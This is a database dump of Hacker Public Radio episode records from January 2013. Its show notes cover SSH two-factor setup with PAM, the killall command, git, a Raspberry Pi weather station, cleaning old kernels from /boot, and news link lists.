(1156,'2013-01-07','2012-2013 Hacker Public Radio New Year Show Part 6',10445,'New Year Show 2013, part 6','The sixth part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes',159,121,1,'CC-BY-SA','New Year,2013',0,2137,1),
(1157,'2013-01-08','2012-2013 Hacker Public Radio New Year Show Part 7',9847,'New Year Show 2013, part 7','The seventh part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes',159,121,1,'CC-BY-SA','New Year,2013',0,1888,1),
(1158,'2013-01-09','2012-2013 Hacker Public Radio New Year Show Part 8',10152,'New Year Show 2013, part 8','The eight and final part of the epic Hacker Public Radio Show. Feel free to listen and send me some show notes<br />\r\nThe song at the end is \"Love\" by \"Epic Soul Factory\" a <a href=\"https://cchits.net/daily/20120404\">The CCHits.net Daily Exposure Show for 2012-04-04</a>. This track is licensed: cc-by-nc-sa',159,121,1,'CC-BY-SA','New Year,2013',0,1955,1),
(1159,'2013-01-10','Food - Health - Nutritionally Dense food',3252,'Dude-man speaks of Dr Price and his view that the modern diet leads to physical degeneration','<h2>Part 1 of ...I Love Food, Good Food</h2>\r\n<p>\r\nA Contribution for HPR from <a href=\"mailto:Dude-man@dudmanovi.cz\">Dude-man@dudmanovi.cz</a> where he talks about a not so well known, but very well thought out and backed up by scientific research started in the 1930\'s by Weston A Price, who went on after traveling around the world to find healthy people and study what made them healthy to write a large book describing in a language understandable to the lay person what he discovered along with its significance in our own lives should we wish to maximize our health and that of our children and future generations. Of course the first question we should have is what does a healthy person look like, the shape and size, the condition of the teeth etc.\r\n</p>\r\n<p>\r\nDude-man does his best to share a little of what he\'s learnt over the last 10 years which he\'s been putting into practice with his wife, son (7), daughter (2) and their small homestead of Jersey dairy cows and other animals which help provide the staff of life to the whole family.\r\n</p>\r\n<p>\r\nBooks mentioned\r\n</p>\r\n<p>\r\nNutrition and Physical Degeneration by Weston A. Price\r\n</p>\r\n<p>\r\n<a href=\"https://www.westonaprice.org/thumbs-up-reviews/nutrition-and-physical-degeneration\">https://www.westonaprice.org/thumbs-up-reviews/nutrition-and-physical-degeneration</a>\r\n</p>\r\n<p>\r\nNourishing Traditions: The Cookbook that Challenges Politically Correct Nutrition and the Diet Dictocrats\r\n</p>\r\n<p>\r\n<a href=\"https://www.amazon.com/Nourishing-Traditions-Challenges-Politically-Dictocrats/dp/0967089735/ref=la_B000APH4JA_1_1?ie=UTF8&amp;qid=1354738004&amp;sr=1-1\">https://www.amazon.com/Nourishing-Traditions-Challenges-Politically-Dictocrats/dp/0967089735/ref=la_B000APH4JA_1_1?ie=UTF8&amp;qid=1354738004&amp;sr=1-1</a>\r\n</p>\r\n<p>\r\nFoundation for Weston A Price\r\n<a href=\"https://www.westonaprice.org\">https://www.westonaprice.org</a>\r\n</p>\r\n<p>\r\nDude-mans Podcast on technology\r\n<a href=\"https://dudmanovi.cz\">https://dudmanovi.cz</a> \r\n</p>\r\n',230,0,1,'CC-BY-SA','WAP',0,2075,1),
(1160,'2013-01-11','TGTM Newscast for 1/8/2013 DeepGeek',1316,'A newscast from Talk Geek to Me','<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/1/2/headlines#120\">Obama to Sign \"Fiscal Cliff\" Bill After Weeks of Tense Talks </a></li>\r\n<li><a href=\"https://wlcentral.org/node/2801\">Swedish military reportedly shuts down pro-WikiLeaks transparency websites</a> </li>\r\n<li><a href=\"https://www.techdirt.com/articles/20121220/15133521458/politicians-decry-fake-torture-cover-up-real-torture.shtml\">Politicians Decry Fake Torture, Cover Up Real Torture</a></li>\r\n<li><a href=\"https://www.thestand.org/2013/01/washingtons-minimum-wage-law-sets-standard-for-nation/\">Washington’s minimum wage law sets standard for nation</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=83674\">Telephone Fraud,\r\nCorruption and One-Party Democracy in Cuba </a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/u-s-and-russia-announce-online-piracy-crackdown-agreement-121222/\">U.S.\r\nand Russia Announce Online Piracy Crackdown Agreement</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/12/government-attorneys-agree-eff-new-counterterrorism-database-rules-threaten\">Government\r\nAttorneys Agree With EFF: New \'Counterterrorism\' Database Rules\r\nThreaten Privacy of Every American</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20121227/02441521496/apparently-congress-isnt-actually-interested-requiring-warrant-law-enforcement-to-read-your-email.shtml\">Apparently,\r\nCongress Isn\'t Actually Interested In Requiring A Warrant For Law\r\nEnforcement To Read Your Email</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/megaupload-u-s-deliberately-misled-the-court-with-unlawful-search-warrants-130103/\">Megaupload:\r\nU.S. Deliberately Misled the Court with Unlawful Search Warrants</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2012/12/vermont-supreme-court-allows-limits-government-computer-search-power\">Vermont\r\nSupreme Court Allows Limits to Government Computer Search Power</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.theatlantic.com/international/archive/2013/01/how-obama-decides-your-fate-if-he-thinks-youre-a-terrorist/266419/\">How\r\nObama Decides Your Fate If He Thinks You\'re a Terrorist</a>\r\n</li>\r\n<li><a\r\nhref=\"https://dfw.cbslocal.com/2012/12/18/irving-women-claim-assault-humiliation-after-roadside-cavity-search-by-troopers/\">Irving\r\nWomen Claim Assault, Humiliation After Roadside Cavity Search</a>\r\n</li>\r\n<li><a href=\"https://wlcentral.org/node/2800\">Statement by Julian\r\nAssange after Six Months in Ecuadorian Embassy</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.itworld.com/security/328387/german-privacy-regulator-orders-facebook-end-its-real-name-policy\">German\r\nprivacy regulator orders Facebook to end its real name policy</a>\r\n</li>\r\n<li><a\r\nhref=\"https://geekfeminism.wikia.com/wiki/Who_is_harmed_by_a_%22Real_Names%22_policy%3F\">List\r\nof Groups Harmed by Websites with Anti-Pseudonym Policy</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"thestand.org,\"&nbsp; and\r\n\"havanatimes.org\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"wlcentral.org,\" and \"democracynow.org\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>links</h2>\r\n<a href=\"https://www.democracynow.org/2013/1/2/headlines#120\">https://www.democracynow.org/2013/1/2/headlines#120</a><br />\r\n<a href=\"https://wlcentral.org/node/2801\">https://wlcentral.org/node/2801</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121220/15133521458/politicians-decry-fake-torture-cover-up-real-torture.shtml\">https://www.techdirt.com/articles/20121220/15133521458/politicians-decry-fake-torture-cover-up-real-torture.shtml</a><br />\r\n<a href=\"https://www.thestand.org/2013/01/washingtons-minimum-wage-law-sets-standard-for-nation/\">https://www.thestand.org/2013/01/washingtons-minimum-wage-law-sets-standard-for-nation/</a><br />\r\n<a href=\"https://www.havanatimes.org/?p=83674\">https://www.havanatimes.org/?p=83674</a><br />\r\n<a href=\"https://torrentfreak.com/u-s-and-russia-announce-online-piracy-crackdown-agreement-121222/\">https://torrentfreak.com/u-s-and-russia-announce-online-piracy-crackdown-agreement-121222/</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/12/government-attorneys-agree-eff-new-counterterrorism-database-rules-threaten\">https://www.eff.org/deeplinks/2012/12/government-attorneys-agree-eff-new-counterterrorism-database-rules-threaten</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20121227/02441521496/apparently-congress-isnt-actually-interested-requiring-warrant-law-enforcement-to-read-your-email.shtml\">https://www.techdirt.com/articles/20121227/02441521496/apparently-congress-isnt-actually-interested-requiring-warrant-law-enforcement-to-read-your-email.shtml</a><br />\r\n<a href=\"https://torrentfreak.com/megaupload-u-s-deliberately-misled-the-court-with-unlawful-search-warrants-130103/\">https://torrentfreak.com/megaupload-u-s-deliberately-misled-the-court-with-unlawful-search-warrants-130103/</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/12/vermont-supreme-court-allows-limits-government-computer-search-power\">https://www.eff.org/deeplinks/2012/12/vermont-supreme-court-allows-limits-government-computer-search-power</a><br />\r\n<a href=\"https://www.theatlantic.com/international/archive/2013/01/how-obama-decides-your-fate-if-he-thinks-youre-a-terrorist/266419/\">https://www.theatlantic.com/international/archive/2013/01/how-obama-decides-your-fate-if-he-thinks-youre-a-terrorist/266419/</a><br />\r\n<a href=\"https://dfw.cbslocal.com/2012/12/18/irving-women-claim-assault-humiliation-after-roadside-cavity-search-by-troopers/\">https://dfw.cbslocal.com/2012/12/18/irving-women-claim-assault-humiliation-after-roadside-cavity-search-by-troopers/</a><br />\r\n<a href=\"https://wlcentral.org/node/2800\">https://wlcentral.org/node/2800</a><br />\r\n<a href=\"https://www.itworld.com/security/328387/german-privacy-regulator-orders-facebook-end-its-real-name-policy\">https://www.itworld.com/security/328387/german-privacy-regulator-orders-facebook-end-its-real-name-policy</a><br />\r\n<a href=\"https://geekfeminism.wikia.com/wiki/Who_is_harmed_by_a_%22Real_Names%22_policy%3F\">https://geekfeminism.wikia.com/wiki/Who_is_harmed_by_a_%22Real_Names%22_policy%3F</a><br />\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1975,1),
(1161,'2013-01-14','PAM Two Factor Auth SSH',2922,'Pluggable Authentication Modules and two-factor authentication with SSH','<p>\r\nThank you to <a href=\"https://brokeforfree.com/\">Broke For Free</a> and for their Creative Commons album <a href=\"https://freemusicarchive.org/music/Broke_For_Free/Slam_Funk/\">Broke For Free: Slam Funk</a>, which was used during this latest show at <a href=\"https://HackerPublicRadio.org\">HackerPublicRadio.org</a>\r\n</p>\r\n\r\n<h5>Good sources of information for PAM</h5>\r\n<ul>\r\n<li><a href=\"https://www.netbsd.org/docs/guide/en/chap-pam.html\">https://www.netbsd.org/docs/guide/en/chap-pam.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Two-factor_authentication\">https://en.wikipedia.org/wiki/Two-factor_authentication</a></li>\r\n</ul>\r\n\r\n<h5>Overview of PAM Security</h5>\r\n<ul>\r\n<li>Definition: Presenting two or more from something you have, something you know, and something you are.</li>\r\n<li>Centos /etc/pam.d/</li>\r\n<li>Debian /etc/pam.d/ (common-auth exists in Debian and its a system wide security implementation for all pam.d applications)</li>\r\n</ul>\r\n\r\n<h5>Google Two Factor Authentication</h5>\r\n<ul>\r\n<li><a href=\"https://www.mnxsolutions.com/security/two-factor-ssh-with-google-authenticator.html\">MNXSolutions.com,Old instructions but still useful</a></li>\r\n<li><a href=\"https://guides.webbynode.com/articles/security/ubuntu-google-authenticator.html\"> Webbynode.com, Useful but still uses outdated mercurial steps</a></li>\r\n<li><a href=\"https://code.google.com/p/google-authenticator/source/checkout\">Google two factor auth git repo source</a></li>\r\n</ul>\r\n\r\n<h5>General Instructions</h5>\r\n<ul>\r\n<li>Install git, gcc, and make on your system<br/>\r\n$ apt-get install git make gcc<br/>\r\n$ yum install git make gcc</li>\r\n<br/>\r\n<li>Execute git command as noted on google\'s site:<br/>\r\n$ git clone https://code.google.com/p/google-authenticator/</li>\r\n<li>Compile and install the google two factor auth PAM module and application<br/>\r\n$ cd google-authenticator/libpam/<br/>\r\n$ make install</li>\r\n<br/>	\r\n<li>Add the following lines to the /etc/pam.d/sshd<br/>\r\nauth     required     pam_google_authenticator.so</li>\r\n<br/>\r\n<li>Location of SSH server configurations<br/>\r\n/etc/ssh/sshd_config</li>\r\n<br/>\r\n<li>Add/modify the following stanza to SSH server configuration:<br/>\r\nChallengeResponseAuthentication yes</li>\r\n<br/>\r\n<li>Create Google two factor profile for SSH user and answer the setup questions based off your preferences<br/>\r\n$ google-authenticator</li>\r\n<br/>\r\n<li>Restart SSH server<br/>\r\n$ service ssh restart (on CENTOS try $ service sshd restart)</li>\r\n</ul>\r\n\r\n<h5>Wrap Up</h5>\r\n<ul>\r\n<li>In Debian based systems you can comment out the system wide common-auth by simply adding a # to the beginning of the @include common-auth.</li>\r\n<li>If you want to use google two auth with other applications simply add it to the appropriate /etc/pam.d/ file</li>\r\n<li>Other useful PAM modules include the Barada module: libpam-barada (OTP with Android Client), pam_winbind (Samba Active Directory authentication module), and many more.</li>\r\n<li>Make sure you have dual SSH connections and are sudo or su as a privileged user. Also make sure any files you configure today are backed up before you edit them. </li>\r\n<li>When setting up Two Factor Auth profiles, go into cleanup mode to ensure you don\'t use the QR code url where it can be later retrieved from your url history. Also make sure you cleanup your command line and clipboard history so that emergency scratch codes and secret keys can\'t be found by wondering eyes.</li>\r\n</ul>\r\n\r\n<h5>Podcasts worth mentioning.</h5>\r\n<ul>			\r\n<li><a href=\"https://sixgun.org/\">Linux Outlaws</a></li>\r\n<li><a href=\"https://netsecpodcast.com/\">Network Security Podcast</a></li>			\r\n<li><a href=\"https://risky.biz/\">Risky Business Podcast</a></li>\r\n</ul>\r\n<br/>\r\n',231,0,1,'CC-BY-SA','ssh,authentication,\"two-factor authentication\",google-authenticator',0,2068,1),
(1162,'2013-01-15','LiTS 021: killall',1017,'Kill processes by name with the <em>killall</em> command','<p>The previous two shows have discussed different ways to kill a process using kill and pkill. This episode will cover a third command, killall. The killall command is used to send a signal to every process that is running the identified command. For instance:</p>\r\n<blockquote><p>killall xterm</p></blockquote>\r\n<p>Will send the SIGTERM process to all instances of xterm. Should there be any xterm processes running they would receive the default SIGTERM signal (recall, number 15) and be terminated. If there were no xterm processes running then killall would report the following:</p>\r\n<blockquote><p>xterm: no process found</p></blockquote>\r\n\r\n<p>\r\nFor the rest of this episode please check out the shownotes and video at <a href=\"https://www.linuxintheshell.com/2013/01/01/episode-21-killall/\">https://www.linuxintheshell.com/2013/01/01/episode-21-killall/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','kill,killall,process',0,2294,1),
(1163,'2013-01-16','Installing PYWWS on a Raspberry Pi',920,'Using a Raspberry Pi with <em>pywws</em> to run a wireless weather station','<p>\r\nThe USB weather station\r\n<a href=\"https://tinyurl.com/a8ezezy\">https://tinyurl.com/a8ezezy</a>\r\n</p>\r\n<p>\r\nWeather Charts\r\n<a href=\"https://weather.kernelpanicoggcast.net/index.html\">https://weather.kernelpanicoggcast.net/index.html</a>\r\n</p>\r\n<p>\r\nHow-to\r\n<a href=\"https://kernelpanicoggcast.net/phpBB3/viewtopic.php?f=3&amp;t=251&amp;p=393#p393\">https://kernelpanicoggcast.net/phpBB3/viewtopic.php?f=3&amp;t=251&amp;p=393#p393</a>\r\n</p>',232,0,1,'CC-BY-SA','\"Raspberry Pi\",\"weather station\",pywws',0,2063,1),
(1164,'2013-01-17','About git',1433,'In this show I talk about the git version control system','<p>\r\nIn this show I talk about the git version control system. I won\'t give\r\nexample commands, but I discuss concepts like commits, branches,\r\nmerging, push and pull, and rebasing. I also talk about the git workflow\r\nI use.\r\n</p>\r\n<p>\r\nI will put some more info on <a href=\"https://johanv.org/node/200\">https://johanv.org/node/200</a>.\r\n</p>',233,81,1,'CC-BY-SA','version control,cvs,subversion,git',0,2142,1),
(1165,'2013-01-18','TGTM Newscast for 1/17/2013',2978,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/1/9/headlines#1912\">New\r\nYork Judge Rules Stop-and-Frisk of Bronx Residents Unconstitutional </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.emptywheel.net/2013/01/11/did-john-brennan-create-the-loopholes-cia-used-to-help-spy-on-new-yorkers/\">Did\r\nJohn Brennan Create the Loopholes CIA Used to Help Spy on New Yorkers?</a>\r\n</li>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14287/executioner_in_chief/\">Executioner-in-Chief</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/controversies/federal-court-gives-medical-marijuana-dispensary-owner-10-years-in-prison-130111?news=846717\">Federal\r\nCourt Gives Medical Marijuana Dispensary Owner 10 Years in Prison</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.rhrealitycheck.org/article/2013/01/03/violence-still-prevalent-despite-progress-on-lgbti-rights-in-latin-america\">Violence\r\nStill Prevalent Despite Progress on LGBTI Rights in Latin America </a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/verizons-six-strikes-anti-piracy-measures-unveiled-130111/\">Verizon’s\r\n“Six Strikes” Anti-Piracy Measures Unveiled</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/rapidshare-traffic-and-piracy-dipped-after-new-business-model-kicked-in-130109/\">RapidShare:\r\nTraffic and Piracy Dipped After New Business Model Kicked In</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130110/14542221635/ibm-researcher-feeds-watson-supercomputer-urban-dictionary-very-quickly-regrets-it.shtml\">IBM\r\nResearcher Feeds Watson Supercomputer The \'Urban Dictionary\'; Very\r\nQuickly Regrets It</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/first-pirate-bay-server-on-permanent-display-in-computer-museum-130110/\">‘First’\r\nPirate Bay Server on Permanent Display in Computer Museum</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130110/06471921626/flipside-embracing-closed-gardens-like-apple-app-store-show-just-how-un-free-you-want-to-be.shtml\">The\r\nFlipside: Embracing Closed Gardens Like The Apple App Store Shows Just\r\nHow Un-Free You Want To Be</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://inthesetimes.com/article/14297/the_walmart_revolt/\">The\r\nWalmart Revolt</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/7602\">Disinformation\r\nStill Clouds the US Debate on Chávez\'s Legacy in Venezuela</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/unusual-news/congress-less-popular-than-cockroaches-root-canals-and-used-car-salesmen-130111?news=846716\">Congress\r\nLess Popular than Cockroaches, Root Canals and Used Car Salesmen</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=85421\">Venezuela Without\r\nChavez, What to Expect? </a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/12/rapid-dna-analysis\">Rapid\r\nDNA: Coming Soon to a Police Department or Immigration Office Near You</a>\r\n</li>\r\n<li><a\r\nhref=\"https://lessig.tumblr.com/post/40347463044/prosecutor-as-bully\">prosecutor\r\nas bully</a>\r\n</li>\r\n<li><a href=\"https://www.quinnnorton.com/said/?p=644\">My Aaron Swartz,\r\nwhom I loved.</a>\r\n</li>\r\n<li><a\r\nhref=\"https://thinkprogress.org/justice/2013/01/14/1441211/killers-slavers-and-bank-robbers-all-face-less-severe-prison-terms-than-aaron-swartz-did/\">Aaron\r\nSwartz Faced A More Severe Prison Term Than Killers, Slave Dealers And\r\nBank Robbers</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130113/00034721650/some-thoughts-aaron-swartz.shtml\">Some\r\nThoughts On Aaron Swartz</a>\r\n</li>\r\n<li><a href=\"https://thecommandline.net/2013/01/14/no_one_told_you/\">No\r\nOne Told You How Hard It Would Be</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"emptywheel.net,\" and\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"rhrealitycheck.org\" used under permission of the Creative\r\nCommons by-attribution share-alike license.<br />\r\n</p>\r\n<p>News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1916,1),
(1166,'2013-01-21','Airtime Radio Automation',532,'Airtime is open source radio automation software which runs on Linux','<p>\r\nIn this episode I talk about Airtime radio automation software.\r\n</p>\r\n<p>\r\nLinks:\r\nAirtime main site:\r\n</p>\r\n<p>\r\n<a href=\"https://www.sourcefabric.org/en/airtime/\">https://www.sourcefabric.org/en/airtime/</a>\r\n</p>\r\n<p>\r\nAirtime Demo instance to see what it looks and feels like:\r\n</p>\r\n<p>\r\n<a href=\"https://airtime-demo.sourcefabric.org/login\">https://airtime-demo.sourcefabric.org/login</a>\r\n</p>\r\n<p>\r\nCheck my previous episodes for other Internet Radio topics.\r\n</p>\r\n<p>\r\nContact me at aukondk.com\r\n</p>',191,0,1,'CC-BY-SA','\"online radio\",automation,icecast',0,1890,1),
(1167,'2013-01-22','Kernels in the Boot, or What to Do When Your /boot folder Fills Up',910,'Some experiences learning Linux server administration','<h2>Synopsis of the Problem</h2>\r\n\r\n<p>\r\nYou may have heard me mention that I purchased a used rack server a couple years ago to help teach myself Linux server administration.  It\'s an HP DL-380 G3 with dual single core Zeons and 12Gb of RAM.  It came with two 75Gb SCSI drives in RAID1, dedicated to the OS.  Since the seller wanted more for additional internal SCSI drives, and those old server drives are limited to 120Gb anyway, I plugged in a PCI-X SATA adapter and connected  750Gb drive externally and mounted it as /home.  I moved over the 2Gb USB drive I had on my Chumby (as opposed to transferring the files) and it shows up as /media/usb0.  I installed Ubuntu server 10.04 (recently updated to 12.04) because CentOS didn\'t support the RAID controller out of the box and I had frustrated the lack of support for up to date packages on Debian Lenny on the desktop.\r\n</p>\r\n\r\n<p>\r\nWith 75Gb dedicated to the OS and application packages, you can imaging\r\nmy surprise when after a update and upgrade, I had a report that my\r\n/boot was full.  It was until I look at the output from fdisk that\r\nI remembered the Ubuntu installer created a separate partition for\r\n/boot.  At the risk of oversimplifying the purpose of /boot, it is\r\nwhere your current and past kernel files are stored.  Unless the\r\nsystem removes older kernels (most desktop systems seem to) the storage\r\nrequired for /boot will increase with every kernel upgrade.\r\n</p>\r\n\r\n<h3>This is the output of df before culling the kernels</h3>\r\n\r\n<pre><code>Filesystem                         1K-blocks      Used Available Use% Mounted on\r\n/dev/mapper/oriac-root              66860688   6593460   56870828  11% /\r\nudev                                 6072216         4    6072212   1% /dev\r\ntmpfs                                2432376       516    2431860   1% /run\r\nnone                                    5120         0       5120   0% /run/lock\r\nnone                                 6080936         0    6080936   0% /run/shm\r\ncgroup                               6080936         0    6080936   0% /sys/fs/cgroup\r\n/dev/cciss/c0d0p1                     233191    224953          0 100% /boot\r\n/dev/sda1                          721075720 297668900  386778220  44% /home\r\n/dev/sdb1                         1921902868 429219096 1395056772  24% /media/usb0\r\n</code></pre>\r\n\r\n<h3>This directory listing shows I had many old kernels in /boot</h3>\r\n\r\n<pre><code>abi-2.6.32-24-generic-pae\r\nabi-2.6.32-35-generic-pae\r\nabi-2.6.32-36-generic-pae\r\nabi-2.6.32-37-generic-pae\r\nabi-2.6.32-38-generic-pae\r\nabi-2.6.32-39-generic-pae\r\nabi-2.6.32-40-generic-pae\r\nabi-2.6.32-41-generic-pae\r\nabi-2.6.32-42-generic-pae\r\nabi-3.2.0-29-generic-pae\r\nabi-3.2.0-30-generic-pae\r\nabi-3.2.0-31-generic-pae\r\nabi-3.2.0-32-generic-pae\r\nconfig-2.6.32-24-generic-pae\r\nconfig-2.6.32-35-generic-pae\r\nconfig-2.6.32-36-generic-pae\r\nconfig-2.6.32-37-generic-pae\r\nconfig-2.6.32-38-generic-pae\r\nconfig-2.6.32-39-generic-pae\r\nconfig-2.6.32-40-generic-pae\r\nconfig-2.6.32-41-generic-pae\r\nconfig-2.6.32-42-generic-pae\r\nconfig-3.2.0-29-generic-pae\r\nconfig-3.2.0-30-generic-pae\r\nconfig-3.2.0-31-generic-pae\r\nconfig-3.2.0-32-generic-pae\r\ngrub\r\ninitrd.img-2.6.32-24-generic-pae\r\ninitrd.img-2.6.32-35-generic-pae\r\ninitrd.img-2.6.32-36-generic-pae\r\ninitrd.img-2.6.32-37-generic-pae\r\ninitrd.img-2.6.32-38-generic-pae\r\ninitrd.img-2.6.32-39-generic-pae\r\ninitrd.img-2.6.32-40-generic-pae\r\ninitrd.img-2.6.32-41-generic-pae\r\ninitrd.img-2.6.32-42-generic-pae\r\ninitrd.img-3.2.0-29-generic-pae\r\ninitrd.img-3.2.0-30-generic-pae\r\ninitrd.img-3.2.0-31-generic-pae\r\nlost+found\r\nmemtest86+.bin\r\nmemtest86+_multiboot.bin\r\nSystem.map-2.6.32-24-generic-pae\r\nSystem.map-2.6.32-35-generic-pae\r\nSystem.map-2.6.32-36-generic-pae\r\nSystem.map-2.6.32-37-generic-pae\r\nSystem.map-2.6.32-38-generic-pae\r\nSystem.map-2.6.32-39-generic-pae\r\nSystem.map-2.6.32-40-generic-pae\r\nSystem.map-2.6.32-41-generic-pae\r\nSystem.map-2.6.32-42-generic-pae\r\nSystem.map-3.2.0-29-generic-pae\r\nSystem.map-3.2.0-30-generic-pae\r\nSystem.map-3.2.0-31-generic-pae\r\nSystem.map-3.2.0-32-generic-pae\r\nvmcoreinfo-2.6.32-24-generic-pae\r\nvmcoreinfo-2.6.32-35-generic-pae\r\nvmcoreinfo-2.6.32-36-generic-pae\r\nvmcoreinfo-2.6.32-37-generic-pae\r\nvmcoreinfo-2.6.32-38-generic-pae\r\nvmcoreinfo-2.6.32-39-generic-pae\r\nvmcoreinfo-2.6.32-40-generic-pae\r\nvmcoreinfo-2.6.32-41-generic-pae\r\nvmcoreinfo-2.6.32-42-generic-pae\r\nvmlinuz-2.6.32-24-generic-pae\r\nvmlinuz-2.6.32-35-generic-pae\r\nvmlinuz-2.6.32-36-generic-pae\r\nvmlinuz-2.6.32-37-generic-pae\r\nvmlinuz-2.6.32-38-generic-pae\r\nvmlinuz-2.6.32-39-generic-pae\r\nvmlinuz-2.6.32-40-generic-pae\r\nvmlinuz-2.6.32-41-generic-pae\r\nvmlinuz-2.6.32-42-generic-pae\r\nvmlinuz-3.2.0-29-generic-pae\r\nvmlinuz-3.2.0-30-generic-pae\r\nvmlinuz-3.2.0-31-generic-pae\r\nvmlinuz-3.2.0-32-generic-pae\r\n</code></pre>\r\n\r\n<h2>The Solution I Found</h2>\r\n\r\n<p>I ran across some articles that\r\nsuggested I could use \'uname -r\' to identify my current running kernel\r\n(3.2.0-31, the -32 apparently kernel ran out of space before it\r\n completed installing) and just delete the files with other\r\nnumbers.  That didn\'t seem prudent, and fortunately I\'ve found\r\nwhat seems to be a more elegant solution on upubuntu.com .<br/>\r\n<a href=\"https://www.upubuntu.com/2011/11/how-to-remove-unused-old-kernels-on.html\">https://www.upubuntu.com/2011/11/how-to-remove-unused-old-kernels-on.html</a><br/>\r\n</p>\r\n\r\n<h4>Verify your current running kernel</h4>\r\n\r\n<pre><code>uname -r\r\n</code></pre>\r\n\r\n<p>Linux will often keep older kernels so that you can boot into and older\r\nversion from Grub (at least on a desktop).  Fedora has an\r\nenvironment setting to tell the OS just how many old kernels you want to\r\nmaintain [installonly_limit in /etc/yum.conf].  Please leave a\r\ncomment if you know of an analog in Debian/Ubuntu.\r\n</p>\r\n\r\n<h4>List the kernels currently installed on you system.  </h4>\r\n\r\n<pre><code>dpkg --list | grep linux-image\r\n</code></pre>\r\n\r\n<h4>Cull all the kernels but the current one</h4>\r\n\r\n<p>\r\nThe next line is the key, make sure you copy and paste exactly from the\r\nshownotes.  I\'m not much good with regular expressions, but I can\r\nsee it\'s trying to match all the packages starting with \'linux-image\'\r\nbut containing a number string different from the one returned by\r\n\'uname -r\', and remove those packages.  Obviously, this specific\r\ncommand will only work with Debian/Ubuntu systems, but you should be\r\nable to adapt it to your distro.  The \'-P\' is my contribution, so\r\nyou can see what packages you are eliminating before the change becomes\r\nfinal.\r\n</p>\r\n\r\n<pre><code>sudo aptitude -P purge ~ilinux-image-\\[0-9\\]\\(\\!`uname -r`\\)\r\n</code></pre>\r\n\r\n<h4>Make sure Grub reflects your changes</h4>\r\n\r\n<p> Finally, the author recomends running \'sudo update-grub2\'  to make sure\r\nGrub reflects your current kernel status (the above command sees to do this\r\nafter every operation anyway, but better safe than sorry.</p>\r\n\r\n<p>It\'s worth noting I still don\'t have my -32 kernel update, so I\'ll let\r\nyou know if the is anything required to get kernel updates get started\r\nagain.\r\n</p>\r\n\r\n<p>My df now shows 14%  usage in /boot and a directory listing on /boot only  shows the current kernel files.\r\n</p>\r\n\r\n<pre><code>Filesystem                         1K-blocks      Used Available Use% Mounted on\r\n/dev/mapper/oriac-root              66860688   5405996   58058292   9% /\r\nudev                                 6072216        12    6072204   1% /dev\r\ntmpfs                                2432376       516    2431860   1% /run\r\nnone                                    5120         0       5120   0% /run/lock\r\nnone                                 6080936         0    6080936   0% /run/shm\r\ncgroup                               6080936         0    6080936   0% /sys/fs/cgroup\r\n/dev/cciss/c0d0p1                     233191     29321     191429  14% /boot\r\n/dev/sda1                          721075720 297668908  386778212  44% /home\r\n/dev/sdb1                         1921902868 429219096 1395056772  24% 